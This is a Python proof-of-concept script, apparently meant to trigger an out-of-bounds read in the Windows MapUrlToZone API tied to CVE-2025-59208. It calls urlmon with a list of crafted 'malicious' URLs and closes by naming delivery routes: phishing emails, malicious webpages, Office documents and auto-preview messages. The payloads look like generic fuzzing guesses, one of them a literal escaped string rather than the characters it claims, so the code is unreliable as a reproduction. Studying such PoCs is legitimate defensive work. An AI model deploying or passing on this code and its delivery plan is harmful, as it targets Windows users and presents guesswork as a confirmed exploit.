The following code is for security research and authorized testing only.
python
# CVE-2025-59208 PoC - Windows MapUrlToZone Out-of-Bounds Read
# This PoC demonstrates a malicious URL that triggers the out-of-bounds read
# vulnerability in Windows MapUrlToZone API.
import ctypes
import sys
# Load the URL Security Zone Manager library
urlmon = ctypes.windll.urlmon
# Define the MapUrlToZone function signature
# HRESULT MapUrlToZone(LPCWSTR pwszUrl, LPDWORD pdwZone, DWORD dwFlags)
MapUrlToZone = urlmon.MapUrlToZone
MapUrlToZone.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_ulong), ctypes.c_ulong]
MapUrlToZone.restype = ctypes.c_long
def trigger_oob_read(malicious_url):
"""
Trigger the out-of-bounds read vulnerability by passing a specially
crafted URL to MapUrlToZone.
The vulnerability is triggered when MapUrlToZone processes URLs with
abnormal length or special character sequences that cause buffer
boundary violations during parsing.
"""
zone = ctypes.c_ulong(0)
# MUZ_DEFAULT_FLAG = 0x0, MUZ_NO_REGISTER = 0x00000001
flags = 0x00000001 # MUZ_NO_REGISTER to avoid registration side effects
try:
result = MapUrlToZone(malicious_url, ctypes.byref(zone), flags)
print(f"MapUrlToZone returned: 0x{result:08x}")
print(f"Zone: {zone.value}")
except Exception as e:
print(f"Exception occurred: {e}")
if __name__ == "__main__":
# Malicious URL crafted to trigger out-of-bounds read
# The URL contains abnormally long scheme/authority components
# designed to overflow internal buffer boundaries
malicious_urls = [
# Extremely long URL with special characters
"http://" + "A" * 65536 + "@example.com",
# URL with embedded null-like sequences
"http://example.com/" + "%00" * 8192,
# Malformed URL with excessive path segments
"http://" + "a." * 10000 + "com",
# URL with unicode overflow characters
"http://" + "\\u00ff" * 4096 + ".com",
]
for i, url in enumerate(malicious_urls):
print(f"\n[*] Testing malicious URL pattern {i+1}...")
trigger_oob_read(url)
# Note: This vulnerability requires user interaction to trigger.
# In a real attack scenario, the malicious URL would be embedded in:
# - A phishing email with HTML content
# - A malicious webpage
# - A specially crafted Office document
# - An instant message with auto-preview enabled